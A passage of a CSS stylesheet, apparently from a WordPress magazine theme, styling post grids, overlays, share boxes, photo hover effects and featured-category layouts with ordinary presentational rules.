.penci-layout-boxed-1 .list-boxed-post .header-list-style:after,
.penci-layout-classic-boxed-1 .list-boxed-post .header-list-style:after,
.penci-layout-standard-boxed-1 .list-boxed-post .header-list-style:after {
	left: 50%;
	margin-left: -30px
}
.grid-post-box-meta {
	margin: 12px 0 0;
	font-size: 14px
}
.grid-post-box-meta > span:not(.cat) {
	color: #888
}
.grid-post-box-meta a,
.grid-post-box-meta span {
	font-size: inherit
}
.grid-post-box-meta span:after {
	content: "";
	width: 1px;
	height: 10px;
	background: #dedede;
	margin: 0 8px 0 10px;
	border-right: 1px solid;
	background: 0 0 !important;
	opacity: .6;
	display: inline-block
}
.grid-post-box-meta span:last-child:after {
	content: none;
	display: none
}
.grid-post-box-meta span a {
	color: #313131
}
.grid-post-box-meta span a.comment-link {
	color: #888;
	font-style: normal
}
.grid-post-box-meta span a.comment-link:hover,
.grid-post-box-meta span a:hover {
	color: var(--pcaccent-cl)
}
.list-boxed-post .grid-post-share-box .inner-grid-post-share-box {
	background: #fff
}
.penci-grid .list-post.list-boxed-post .item>.thumbnail {
	width: 50%;
	max-width: none;
	position: relative;
	float: none
}
.penci-grid .list-post.list-boxed-post .item>.content-list-right {
	float: right
}
.penci-grid li.list-boxed-post:nth-of-type(2n+2) .item>.content-list-right {
	float: left
}
.penci-grid .list-post.list-boxed-post .item>.thumbnail:before {
	content: "";
	width: 0;
	height: 0;
	border-top: 20px solid transparent;
	border-right: 20px solid #fff;
	border-bottom: 20px solid transparent;
	position: absolute;
	right: 0;
	top: 50%;
	margin-top: -20px;
	z-index: 5
}
.penci-grid .list-post.list-boxed-post:nth-of-type(2n+2) .item>.thumbnail:before {
	border-right: none;
	border-left: 20px solid #fff;
	right: auto;
	left: 0
}
.penci-grid .list-post.list-boxed-post .item .content-list-right {
	padding: 20px 60px;
	display: table;
	width: 50%;
	min-height: 389px;
	height: 389px;
	text-align: center
}
.list-boxed-post .inner-content-list-right {
	vertical-align: middle;
	display: table-cell
}
.penci_sidebar .penci-grid .list-post.list-boxed-post .item .content-list-right {
	padding: 20px 30px;
	min-height: 0;
	height: auto
}
.penci-grid .list-post.list-boxed-post .item .content-list-right.fullwidth {
	width: 100%;
	max-width: none
}
.list-boxed-post .fullwidth .inner-content-list-right {
	min-height: 0;
	padding-left: 0;
	padding-right: 0
}
.grid-featured.penci-infeed-data,
.penci-grid .list-post.list-boxed-post.penci-infeed-data {
	border: none !important
}
.penci-infeed-data {
	overflow: hidden;
	text-align: center !important
}
.penci-infeed-data .penci-inner-infeed-data {
	display: block
}
.penci-infeed-data.penci-infeed-fullwidth-ads {
	width: 100% !important;
	min-width: 100% !important;
	max-width: 100% !important;
	margin-left: 0 !important;
	margin-right: 0 !important;
	margin-bottom: 40px
}
.grid-overlay {
	margin-bottom: 60px;
	position: relative;
	display: block;
	clear: both
}
.grid-style.grid-overlay {
	width: 100%
}
.penci-overlay-over {
	position: relative
}
.penci-overlay-over:before {
	content: "";
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	background: #000;
	opacity: .3;
	z-index: 1;
	transition: opacity .3s ease;
	-webkit-transition: opacity .3s ease;
	-moz-transition: opacity .3s ease
}
.penci-overlay-over:hover:before {
	opacity: .5
}
.penci-overlay-over .overlay-header-box {
	position: absolute;
	text-align: center;
	left: 20px;
	right: 20px;
	top: 50%;
	transform: translateY(-50%);
	-webkit-transform: translateY(-50%);
	-moz-transform: translateY(-50%);
	z-index: 10;
	padding-bottom: 18px
}
.penci-overlay-over .overlay-header-box:after {
	content: "";
	height: 1px;
	background: #fff;
	display: block;
	position: absolute;
	bottom: 0;
	width: 60px;
	left: 50%;
	margin-left: -30px
}
.penci-overlay-over:hover .overlay-header-box:after {
	width: 60px;
	left: 50%;
	margin-left: -30px
}
.overlay-header-box .cat {
	display: block;
	margin-bottom: 6px
}
.overlay-header-box .cat>a.penci-cat-name {
	color: #fff
}
.overlay-header-box .cat>a.penci-cat-name:hover {
	color: var(--pcaccent-cl);
	text-decoration: none
}
.overlay-header-box .cat>a.penci-cat-name:after {
	border-color: #fff
}
.overlay-header-box .overlay-author {
	margin-top: 6px;
	font-size: 14px
}
.overlay-header-box .overlay-title a {
	text-transform: uppercase;
	color: #fff;
	font-size: 24px
}
.overlay-author a,
.overlay-author span {
	color: #fff;
	font-style: italic
}
.overlay-author a:hover {
	color: var(--pcaccent-cl)
}
.penci-overlay-over .overlay-border {
	position: absolute;
	top: 5px;
	left: 5px;
	right: 5px;
	bottom: 5px;
	display: block;
	border: 1px solid #fff;
	z-index: 5
}
.overlay-post-box-meta {
	position: absolute;
	bottom: -1px;
	left: 30px;
	right: 30px;
	text-align: center;
	margin: 0;
	background: #fff;
	z-index: 7;
	border: none;
	padding: 21px 10px 0
}
.overlay-post-box-meta>div {
	display: inline-block;
	vertical-align: bottom;
	line-height: 1;
	float: none !important
}
.overlay-post-box-meta>div:after {
	content: "";
	width: 0;
	height: 10px;
	margin: 0 13px 0 16px;
	display: inline-block;
	border-right: 1px solid;
	background: 0 0 !important;
	opacity: .7
}
.overlay-post-box-meta > span.cat {
	display: inline-block;
	vertical-align: bottom;
	line-height: 1;
	float: none !important;
}
.overlay-post-box-meta > span.cat a {
	margin: 0;
}
.overlay-post-box-meta>div:last-child:after {
	content: none;
	display: none
}
.overlay-post-box-meta,
.overlay-post-box-meta .overlay-share a,
.overlay-post-box-meta .overlay-share span {
	color: #888
}
.overlay-post-box-meta .overlay-share a:hover {
	color: var(--pcaccent-cl)
}
.overlay-post-box-meta .overlay-share i {
	color: inherit;
	margin-right: 5px
}
.grid-featured {
	margin-bottom: 60px;
	border: 1px solid var(--pcborder-cl);
	overflow: hidden;
	width: 100%;
}
.grid-featured .thumbnail {
	position: relative;
	margin: -1px -1px 0 -1px
}
.penci-featured-infor {
	padding: 20px;
	text-align: center
}
.penci-featured-infor .cat {
	display: block;
	margin-bottom: 8px
}
.penci-featured-infor .grid-post-box-meta .cat {
	margin: initial;
	display: inline-block;
}
.penci-featured-infor .penci-entry-title {
	text-transform: uppercase;
	font-size: 24px
}
.penci-featured-infor .penci-entry-title a {
	color: var(--pcheading-cl);
	text-decoration: none;
	font-size: inherit
}
.penci-featured-infor .penci-entry-title a:hover {
	color: var(--pcaccent-cl);
	text-decoration: none
}
.penci-featured-infor .item-content {
	margin-top: 18px;
	text-align: left
}
.penci-featured-infor .item-content>p:last-child {
	margin-bottom: 0 !important
}
.grid-featured .penci-featured-share-box a {
	color: inherit;
	line-height: inherit
}
.grid-featured .penci-featured-share-box a i {
	line-height: inherit
}
.grid-featured .penci-featured-share-box .penci-shareso a {
	margin-right: 10px
}
.grid-featured .penci-featured-share-box .penci-shareso a.penci-post-like {
	margin-right: 6px
}
.grid-featured .penci-featured-share-box .penci-shareso a:last-child {
	margin-right: 0
}
.grid-featured .penci-featured-share-box a:hover {
	color: var(--pcaccent-cl)
}
.penci-featured-share-box .dt-share {
	display: none !important
}
.penci-featured-share-box .penci-shareso {
	opacity: 0;
	visibility: hidden;
	transform: translateX(40px);
	-webkit-transform: translateX(40px);
	z-index: 2
}
.penci-featured-share-box .penci-shareic,
.penci-featured-share-box .penci-shareso {
	transition: opacity .3s, transform .3s;
	-webkit-transition: opacity .3s, transform .3s;
	padding: 0 15px;
	height: 40px;
	line-height: 40px;
	background: var(--pctext-cl);
	color: var(--pcbg-cl);
	display: inline-block;
	vertical-align: top;
	position: absolute;
	left: 0;
	bottom: 0;
	z-index: 10
}
.penci-featured-share-box .penci-shareic {
	padding: 0;
	width: 40px;
	text-align: center
}
.grid-featured .thumbnail:hover .penci-shareso {
	opacity: 1;
	transform: none;
	-webkit-transform: none;
	display: inline-block;
	visibility: visible
}
.grid-featured .thumbnail:hover .penci-shareic {
	transform: translateX(-40px);
	-webkit-transform: translateX(-40px)
}
.penci-grid li.list-boxed-post-2 {
	margin: 0 !important;
	width: 33.3333%
}
.penci-grid li.list-boxed-post-2:last-child {
	margin-bottom: 60px !important
}
.penci_sidebar .penci-grid li.list-boxed-post-2 {
	width: calc((100% - var(--pcrgap))/ 2);
}
.penci-grid li.list-boxed-post-2 .item>.thumbnail {
	margin: 0
}
.penci-grid li.list-boxed-post-2 .item>.thumbnail:before {
	position: absolute;
	content: "";
	width: 0;
	height: 0;
	border-left: 18px solid transparent;
	border-right: 18px solid transparent;
	border-bottom: 18px solid #fff;
	left: 50%;
	margin-left: -18px;
	bottom: 0
}
.penci-grid li.list-boxed-post-2 .item>.thumbnail.arrow-top:before {
	border-bottom: none;
	border-top: 18px solid #fff;
	bottom: auto;
	top: 0
}
.penci-grid li.list-boxed-post-2 .content-boxed-2 {
	border: 1px solid #efefef
}
.penci-grid li.list-boxed-post-2 .content-boxed-2.show-bottom {
	border-top: none
}
.penci-grid li.list-boxed-post-2 .content-boxed-2.show-top {
	border-bottom: none
}
.penci-grid li.list-boxed-post-2 .content-boxed-2.boxed-none {
	display: none
}
.penci-grid li.list-boxed-post-2 .inner-parent-boxed-2 {
	height: 258px;
	display: table;
	text-align: center;
	padding: 20px;
	width: 100%
}
.penci_sidebar .penci-grid li.list-boxed-post-2 .inner-parent-boxed-2 {
	height: 256px
}
.penci-grid li.list-boxed-post-2 .inner-boxed-2 {
	display: table-cell;
	vertical-align: middle;
	max-width: 100%
}
.typography-style .content-typography {
	position: absolute;
	left: 20px;
	right: 20px;
	top: 20px;
	bottom: 20px;
	transition: opacity .4s;
	-webkit-transition: opacity .4s;
	-moz-transition: opacity .4s
}
.penci-grid li.typography-style {
	margin-bottom: 30px
}
.penci-grid li.typography-style:last-child {
	margin-bottom: 60px
}
.penci-grid li.typography-style .item>.thumbnail {
	margin-bottom: 0
}
.penci-grid li.typography-style .item>.thumbnail:hover {
	opacity: 1
}
.penci-grid .typography-style .thumbnail:hover .content-typography,
.typography-style .content-typography:hover {
	opacity: 1
}
.penci-grid li.typography-style .overlay-typography {
	position: absolute;
	left: 0;
	top: 0;
	width: 100%;
	height: 100%;
	background: #000;
	opacity: .3;
	transition: opacity .3s ease 0s;
	-webkit-transition: opacity .3s ease 0s;
	-moz-transition: opacity .3s ease 0s
}
.penci-grid li.typography-style:hover .overlay-typography {
	opacity: .7
}
.penci-grid li.typography-style .overlay-typography:after,
.penci-grid li.typography-style .overlay-typography:before {
	position: absolute;
	top: 5px;
	right: 5px;
	bottom: 5px;
	left: 5px;
	content: "";
	opacity: 0;
	-webkit-transition: opacity .35s, -webkit-transform .35s;
	transition: opacity .35s, transform .35s
}
.penci-grid li.typography-style .overlay-typography:before {
	border-top: 1px solid #fff;
	border-bottom: 1px solid #fff;
	-webkit-transform: scale(0, 1);
	transform: scale(0, 1)
}
.penci-grid li.typography-style .overlay-typography:after {
	border-right: 1px solid #fff;
	border-left: 1px solid #fff;
	-webkit-transform: scale(1, 0);
	transform: scale(1, 0)
}
.penci-grid li.typography-style:hover .overlay-typography:after,
.penci-grid li.typography-style:hover .overlay-typography:before {
	opacity: 1;
	-webkit-transform: scale(1);
	transform: scale(1)
}
.typography-style .main-typography {
	position: absolute;
	z-index: 5;
	top: 50%;
	left: 0;
	width: 100%;
	transform: translateY(-50%);
	-webkit-transform: translateY(-50%);
	-moz-transform: translateY(-50%)
}
.typography-style .main-typography a.penci-cat-name {
	color: #fff;
	border-color: #fff;
	text-decoration: none
}
.typography-style .main-typography a.penci-cat-name:after {
	border-color: #fff
}
.penci-grid li.typography-style .item .main-typography h2 a {
	color: #fff
}
.penci-grid li.typography-style .grid-post-box-meta span,
.penci-grid li.typography-style .grid-post-box-meta span a {
	color: #fff
}
.penci-grid li.typography-style .grid-post-box-meta span a:hover,
.penci-grid li.typography-style .item .main-typography h2 a:hover {
	color: var(--pcaccent-cl)
}
.penci-grid>li.photography-2 {
	margin-bottom: 30px
}
.penci-grid>li.photography-2:last-child {
	margin-bottom: 60px
}
.penci-photo-2-effect {
	position: relative;
	overflow: hidden;
	background: #000;
	text-align: center;
	cursor: pointer
}
.penci-photo-2-effect img {
	-webkit-backface-visibility: hidden;
	backface-visibility: hidden;
	transform: scale(1.2);
	-webkit-transform: scale(1.2);
	-moz-transform: scale(1.2);
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	opacity: .7;
	display: block;
	position: relative
}
.penci-photo-2-effect:hover img {
	opacity: .4;
	transform: scale(1);
	-webkit-transform: scale(1);
	-moz-transform: scale(1)
}
.penci-photo-2-effect figcaption,
.penci-photo-2-effect figcaption a.photo-2-overlay {
	padding: 60px;
	text-align: center;
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%
}
.penci-photo-2-effect figcaption {
	-webkit-backface-visibility: hidden;
	backface-visibility: hidden
}
.penci-photo-2-effect a.photo-2-overlay {
	z-index: 100;
	text-indent: 200%;
	white-space: nowrap;
	font-size: 0;
	opacity: 0
}
.penci-photo-2-effect figcaption h2,
.penci-photo-2-effect figcaption p {
	color: #fff;
	position: absolute;
	top: 50%;
	left: 0;
	width: 100%;
	transition: all .3s;
	-webkit-transition: all .3s
}
.penci-photo-2-effect figcaption h2 {
	font-size: 24px;
	padding: 0 60px;
	text-transform: uppercase;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	top: 50%;
	transform: translateY(-100%);
	-webkit-transform: translateY(-100%);
	padding-bottom: 30px
}
.penci-photo-2-effect:hover figcaption h2 {
	padding-bottom: 15px
}
.penci-photo-2-effect figcaption p {
	padding: 0 60px;
	top: 50%;
	margin-top: 30px;
	line-height: 1.8
}
.penci-photo-2-effect:hover figcaption p {
	margin-top: 15px
}
.penci-photo-2-effect figcaption:after,
.penci-photo-2-effect figcaption:before {
	position: absolute;
	top: 50%;
	left: 50%;
	width: 80%;
	height: 1px;
	background: #fff;
	content: "";
	-webkit-transition: opacity .35s, -webkit-transform .35s;
	transition: opacity .35s, transform .35s;
	-webkit-transform: translate3d(-50%, -50%, 0);
	transform: translate3d(-50%, -50%, 0)
}
.penci-photo-2-effect:hover figcaption:after {
	opacity: .5;
	-webkit-transform: translate3d(-50%, -50%, 0) rotate(-45deg);
	transform: translate3d(-50%, -50%, 0) rotate(-45deg)
}
.penci-photo-2-effect:hover figcaption:before {
	opacity: .5;
	-webkit-transform: translate3d(-50%, -50%, 0) rotate(45deg);
	transform: translate3d(-50%, -50%, 0) rotate(45deg)
}
.penci_sidebar .penci-photo-2-effect figcaption {
	padding: 20px
}
.penci_sidebar .penci-photo-2-effect figcaption h2 {
	padding: 0 20px 20px;
	font-size: 18px
}
.penci_sidebar .penci-photo-2-effect figcaption p {
	margin-top: 20px;
	padding: 0 20px;
	font-size: 93%
}
.penci_sidebar .penci-photo-2-effect:hover figcaption h2 {
	padding-bottom: 10px
}
.penci_sidebar .penci-photo-2-effect:hover figcaption p {
	margin-top: 10px
}
section.home-featured-cat {
	clear: both;
	display: block;
	width: 100%
}
.home-featured-cat.mag-cat-style-2 {
	display: inline-block;
	width: 48.05%;
	margin-right: 3.9%;
	float: left
}
.penci-featured-cat-sc .home-featured-cat.mag-cat-style-2,
.vc_row .home-featured-cat.mag-cat-style-2 {
	width: 100%;
	float: none;
	margin-right: 0;
	vertical-align: top
}
#main .theiaStickySidebar>div.mag-cat-style-2:nth-of-type(2n+2),
#main>div.mag-cat-style-2:nth-of-type(2n+2) {
	margin-right: 0
}
.penci-grid li.magazine-layout .item h2 a {
	text-transform: none;
	letter-spacing: 0
}
.container.penci_sidebar .penci-grid > li.list-post-3,
.penci-grid > li.list-post-3,
.list-post-3 {
	width: 100%;
}
.list-post-3 .item {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	justify-content: space-between;
}
.list-post-3 + .list-post-3 {
	margin-top: 30px;
}
.penci-grid li.list-post-3 .item > .thumbnail {
	width: 45%;
	align-items: stretch;
	display: flex;
	margin: 0;
}
.list-post-3 .content-list-right {
	background: #fff;
	box-shadow: rgba(0, 0, 0, 0.07) 0px 0px 20px 0px;
	padding: 30px;
	width: calc(55% + 20px);
	margin: 20px 20px 20px -40px;
	position: relative;
	z-index: 2;
	border-radius: 5px;
	overflow: hidden;
}
.list-post-3 .grid-post-box-meta {
	padding: 25px 30px;
	background: var(--pcaccent-cl);
	margin: 20px -30px -30px -30px;
}
.list-post-3 .entry-content {
	margin-top: 20px;
}
.list-post-3 .grid-post-box-meta span,
.list-post-3 .grid-post-box-meta span a {
	color: #fff;
}
.list-post-3 .thumbnail {
	position: relative;
}
.list-post-3 .penci-post-box-meta {
	background: transparent;
	position: absolute;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
	margin: 0;
	backdrop-filter: blur(30px) brightness(90%);
	display: flex;
	flex-wrap: wrap;
	justify-content: center;
	align-items: center;
	opacity: 0;
	transition: 0.3s all ease-in-out;
}
.list-post-3 .penci-post-box-meta.active {
	opacity: 1;
}
.list-post-3 .penci-post-box-meta:before,
.list-post-3 .penci-post-box-meta:after {
	display: none;
}
.list-post-3 .penci-post-box-meta .penci-post-share-box {
	background: transparent;
}
.list-post-3 .penci-post-box-meta .penci-post-share-box a,
.list-post-3 .penci-post-box-meta .penci-post-share-box span {
	color: #fff;
}
.list-post-3.pc-nothumb .content-list-right {
	width: 100%;
	margin: 0;
}
.penci-post-share-box-btn {
	position: absolute;
	width: 32px;
	height: 32px;
	z-index: 99;
	background: var(--pcbg-cl);
	border-radius: 50%;
	display: flex;
	justify-content: center;
	align-items: center;
	bottom: 10px;
	left: 10px;
	font-size: 16px;
	box-shadow: 0px 0px 4px 0px rgba(0, 0, 0, 0.2);
}
.penci-post-share-box-btn a {
	color: var(--pcheading-cl);
}
@media only screen and (min-width:961px) {
	.penci-featured-cat-sc .mag-cat-style-7 .penci-grid>li {
		width: calc((100% - var(--pcrgap))/ 2)
	}
}
.penci-homepage-title.penci-magazine-title {
	text-align: left
}
.penci-homepage-title.penci-magazine-title:before {
	left: 30px
}
.penci-homepage-title.penci-magazine-title h3 a {
	color: #313131
}
.penci-homepage-title.pcalign-left {
	text-align: left
}
.penci-homepage-title.pcalign-center {
	text-align: center
}
.penci-homepage-title.pcalign-right {
	text-align: right
}
.home-featured-cat-content {
	display: inline-block;
	width: 100%;
	vertical-align: top;
	margin-bottom: 60px
}
.elementor-widget-penci-featured-cat .penci-featured-cat-seemore.penci-seemore-style-13 {
	margin-top: 0;
	margin-bottom: 0
}
.elementor-widget-penci-featured-cat .penci-featured-cat-seemore,
.elementor-widget-penci-featured-cat .penci-featured-cat-seemore.penci-seemore-style-8 {
	margin-top: 20px;
	margin-bottom: 0
}
.elementor-widget-penci-featured-cat .home-featured-cat-content {
	margin-bottom: 0 !important
}
.home-featured-cat-content.style-1 {
	display: table;
	width: 100%;
	width: calc(100% + 30px);
	margin-left: -15px;
	margin-right: -15px
}
.home-featured-cat-content.style-11,
.home-featured-cat-content.style-3 {
	display: table;
	width: 100%;
	width: calc(100% + 10px);
	margin-left: -5px;
	margin-right: -5px;
	margin-bottom: 50px
}
.penci-featured-cat-ctcol .home-featured-cat-content.style-11,
.penci-featured-cat-ctcol .home-featured-cat-content.style-3 {
	width: 100%;
	margin-left: 0;
	margin-right: 0
}
.home-featured-cat-content.style-5 {
	overflow: hidden
}
.home-featured-cat-content.style-7 {
	margin-bottom: 34px
}
.home-featured-cat-content.style-8 {
	margin-bottom: 0
}
.home-featured-cat-content.style-13 {
	margin-bottom: 40px
}
.home-featured-cat-content .cat-left,
.home-featured-cat-content .cat-right {
	width: 50%;
	float: left;
	display: inline-block;
	padding: 0 15px
}
.home-featured-cat-content .mag-post-box {
	width: 100%;
	overflow: hidden;
	display: table;
	padding-bottom: 15px;
	margin-bottom: 15px;
	border-bottom: 1px solid var(--pcborder-cl)
}
.home-featured-cat-content .mag-post-box.first-post {
	border-bottom: none;
	padding-bottom: 0;
	margin-bottom: 0
}
.home-featured-cat-content .cat-right>.mag-post-box:last-child,
.home-featured-cat-content>.mag-post-box:last-child {
	padding-bottom: 0;
	margin-bottom: 0;
	border-bottom: none
}
.home-featured-cat-content.style-10 .mag-post-box.first-post,
.home-featured-cat-content.style-2 .mag-post-box.first-post {
	padding-bottom: 22px;
	margin-bottom: 30px;
	border-bottom: 1px solid #dedede
}
.home-featured-cat-content .mag-post-box .magcat-thumb {
	float: left;
	margin-right: 20px;
	position: relative;
	transition: opacity .3s;
	-webkit-transition: opacity .3s;
	-moz-transition: opacity .3s
}
.cat-right .magcat-detail,
.home-featured-cat-content.style-10 .mag-post-box:not(.first-post) .magcat-detail,
.home-featured-cat-content.style-2 .mag-post-box:not(.first-post) .magcat-detail,.home-featured-cat-content.style-9 .magcat-detail {
	overflow: hidden
}
.home-featured-cat-content .magcat-thumb .icon-post-format,
.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image a.icon-post-format,
.widget ul.side-newsfeed li .side-item .side-image a.icon-post-format {
	width: 30px;
	height: 30px;
	position: absolute;
	display: inline-block;
	line-height: 26px;
	z-index: 10;
	top: 50%;
	left: 50%;
	text-align: center;
	margin: -15px 0 0 -15px;
	border-radius: 50%;
	font-size: 13px;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	border: 2px solid rgba(255, 255, 255, .9);
	background: rgba(0, 0, 0, .4);
	color: rgba(255, 255, 255, .9)
}
.home-featured-cat-content .mag-post-box.first-post .magcat-thumb .icon-post-format,
.home-featured-cat-content.style-3 .magcat-thumb .icon-post-format,
.home-featured-cat-content.style-4 .magcat-thumb .icon-post-format,
.penci_recent-posts-sc ul.side-newsfeed li.featured-news .side-item .side-image a.icon-post-format,
.widget ul.side-newsfeed li.featured-news .side-item .side-image a.icon-post-format {
	font-size: 18px;
	width: 42px;
	height: 42px;
	line-height: 38px;
	margin: -21px 0 0 -21px
}
.home-featured-cat-content.style-3 .magcat-thumb .icon-post-format {
	left: 20px;
	top: 20px;
	margin: 0
}
.home-featured-cat-content.style-4 .magcat-thumb .icon-post-format {
	left: auto;
	top: 20px;
	right: 20px;
	margin: 0
}
.home-featured-cat-content .magcat-thumb .icon-post-format i.fa-play,
.penci_recent-posts-sc ul.side-newsfeed li.featured-news .side-item .side-image a.icon-post-format i.fa-play,
.widget ul.side-newsfeed li.featured-news .side-item .side-image a.icon-post-format i.fa-play {
	margin-left: 2px
}
.home-featured-cat-content .magcat-thumb .icon-post-format i.fa-music,
.penci_recent-posts-sc ul.side-newsfeed li.featured-news .side-item .side-image a.icon-post-format i.fa-music,
.widget ul.side-newsfeed li.featured-news .side-item .side-image a.icon-post-format i.fa-music {
	margin-right: 2px
}
.penci-magcat-carousel .magcat-thumb .mag-post-thumb {
	position: relative
}
.penci-magcat-carousel .magcat-thumb .mag-post-thumb i {
	position: absolute;
	z-index: 2;
	text-align: center;
	display: inline-block;
	width: 42px;
	height: 42px;
	line-height: 38px;
	background: 0 0;
	top: 50%;
	left: 50%;
	margin: -21px 0 0 -21px;
	font-size: 18px;
	opacity: 1;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	border: 2px solid rgba(255, 255, 255, .9);
	background: rgba(0, 0, 0, .4);
	color: rgba(255, 255, 255, .9)
}
.penci-magcat-carousel .magcat-thumb .mag-post-thumb i.fa-play:before {
	margin-left: 2px
}
.penci-magcat-carousel .magcat-thumb .mag-post-thumb i.fa-music:before {
	margin-right: 2px
}
.home-featured-cat-content .magcat-thumb:hover .icon-post-format,
.penci-magcat-carousel .magcat-thumb .mag-post-thumb:hover i,
.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image:hover a.icon-post-format,
.widget ul.side-newsfeed li .side-item .side-image:hover a.icon-post-format {
	opacity: 0;
	transform: scale(.5);
	-webkit-transform: scale(.5);
	-moz-transform: scale(.5)
}
.home-featured-cat-content .mag-post-box .magcat-thumb img {
	width: 120px;
	height: auto
}
.home-featured-cat-content .mag-post-box.first-post .magcat-thumb {
	margin: 0 0 24px 0;
	float: none
}
.home-featured-cat-content .mag-post-box .magcat-thumb:hover {
	opacity: .8
}
.home-featured-cat-content .mag-post-box.first-post .magcat-thumb img {
	width: 100% !important
}
.home-featured-cat-content .first-post .magcat-detail .mag-header {
	padding-bottom: 17px;
	margin-bottom: 19px;
	position: relative
}
.home-featured-cat-content .first-post .magcat-detail .mag-header:after {
	content: "";
	position: absolute;
	bottom: 0;
	left: 0;
	width: 60px;
	height: 1px;
	background: var(--pcaccent-cl);
	display: block
}
.home-featured-cat-content .magcat-detail h3 a {
	color: var(--pcheading-cl);
	display: inline-block;
	font-size: 14px;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	letter-spacing: 0;
	line-height: 1.4
}
.home-featured-cat-content .first-post .magcat-detail h3 a {
	font-size: 18px
}
.home-featured-cat-content .magcat-detail h3 a:hover {
	color: var(--pcaccent-cl);
	text-decoration: none
}
.home-featured-cat-content .magcat-detail .mag-meta {
	margin-top: 7px
}
.home-featured-cat-content .mag-photo {
	display: inline-block;
	width: 50%;
	float: left;
	margin-bottom: 10px;
	padding: 0 5px;
	overflow: hidden
}
.penci-featured-cat-ctcol.pencisc-grid-1 .style-11 .mag-photo,
.penci-featured-cat-ctcol.pencisc-grid-1 .style-3 .mag-photo,
.penci-featured-cat-ctcol.pencisc-grid-2 .style-11 .mag-photo,
.penci-featured-cat-ctcol.pencisc-grid-2 .style-3 .mag-photo,
.penci-featured-cat-ctcol.pencisc-grid-3 .style-11 .mag-photo,
.penci-featured-cat-ctcol.pencisc-grid-3 .style-3 .mag-photo,
.penci-featured-cat-ctcol.pencisc-grid-4 .style-11 .mag-photo,
.penci-featured-cat-ctcol.pencisc-grid-4 .style-3 .mag-photo,
.penci-featured-cat-ctcol.pencisc-grid-5 .style-11 .mag-photo,
.penci-featured-cat-ctcol.pencisc-grid-5 .style-3 .mag-photo,
.penci-featured-cat-ctcol.pencisc-grid-6 .style-11 .mag-photo,
.penci-featured-cat-ctcol.pencisc-grid-6 .style-3 .mag-photo {
	width: 100%;
	margin: 0;
	padding: 0
}
.home-featured-cat-content.style-3>.mag-photo:nth-child(2n+3) {
	clear: both
}
.home-featured-cat-content .mag-photo .magcat-thumb {
	position: relative;
	overflow: hidden
}
.home-featured-cat-content .mag-photo .magcat-detail {
	position: absolute;
	padding: 20px;
	width: 100%;
	z-index: 5;
	left: 0;
	bottom: 0
}
.home-featured-cat-content .mag-photo .magcat-detail h3 a {
	color: #fff;
	font-size: 18px
}
.home-featured-cat-content .mag-photo .mag-overlay-photo {
	position: absolute;
	background: #000;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	opacity: .15;
	transition: opacity .3s;
	-webkit-transition: opacity .3s;
	-moz-transition: opacity .3s;
	z-index: 2
}
.home-featured-cat-content .mag-photo:hover .mag-overlay-photo {
	opacity: .7
}
.home-featured-cat-content .mag-photo .grid-post-box-meta span,
.home-featured-cat-content .mag-photo .grid-post-box-meta span a {
	color: #fff
}
.home-featured-cat-content .mag-photo .grid-post-box-meta span:after {
	color: #fff
}
.container .penci-grid li.magazine-layout {
	text-align: left
}
.container .penci-grid li.magazine-layout .grid-header-box:after {
	left: 0;
	margin-left: 0
}
.penci-featured-cat-custom-ads {
	margin-top: -40px;
	margin-bottom: 60px;
	clear: both;
	display: block;
	overflow: hidden;
	width: 100%;
	text-align: center
}
.home-featured-cat-content.style-6 {
	margin-bottom: 50px
}
.home-featured-cat-content.style-6 .cat-left,
.home-featured-cat-content.style-6 .cat-right {
	width: 100%;
	float: none;
	padding: 0
}
.home-featured-cat-content.style-6 .cat-left {
	margin-bottom: 30px
}
.home-featured-cat-content.style-6 .mag-post-box.first-post {
	display: inline-block;
	vertical-align: top;
	margin: 0;
	width: 100%;
	float: none
}
.home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-thumb {
	margin: 0;
	width: 46.25%;
	float: left
}
.home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-detail {
	padding-left: 30px;
	width: 53.75%;
	float: left
}
.home-featured-cat-content.style-6 .mag-post-box.first-post.full-mag-cat .magcat-detail {
	padding: 0 !important
}
.home-featured-cat-content.style-6 .cat-right .mag-post-box {
	float: left;
	width: 48.5%;
	margin-right: 3%;
	display: inline-block;
	border: none;
	padding-bottom: 0;
	margin-bottom: 30px
}
.home-featured-cat-content.style-6 .cat-right .mag-post-box:nth-child(2n+2) {
	margin-right: 0
}
.home-featured-cat-content.style-6 .cat-right .mag-post-box:last-child {
	margin-bottom: 0
}
.mag-single-slider .penci-image-holder:before {
	padding-top: 66.6667%
}
section.home-featured-cat.mag-cat-style-4,
section.home-featured-cat.mag-cat-style-5 {
	display: block;
	clear: both
}
.elementor-widget-penci-featured-cat .home-featured-cat-wrapper {
	display: flex;
	flex-wrap: wrap;
}
.elementor-widget-penci-featured-cat .home-featured-cat-content {
	order: 1;
}
.elementor-widget-penci-featured-cat .penci-featured-cat-seemore {
	order: 2;
	width: 100%;
}
.penci-slider.penci-single-mag-slider .penci-control-nav {
	position: static;
	clear: both;
	margin-top: 20px !important
}
.penci-slider.penci-single-mag-slider ul.slides li:after,
.penci-slider.penci-single-mag-slider ul.slides li:before {
	content: none;
	display: none
}
.penci-single-mag-slider .magcat-thumb {
	position: relative
}
.penci-single-mag-slider .mag-single-slider-overlay {
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	display: block;
	z-index: 1;
	background: -moz-linear-gradient(to bottom, transparent 50%, rgba(0, 0, 0, 1) 100%);
	background: -webkit-linear-gradient(to bottom, transparent 50%, rgba(0, 0, 0, 1) 100%);
	background: -o-linear-gradient(to bottom, transparent 50%, rgba(0, 0, 0, 1) 100%);
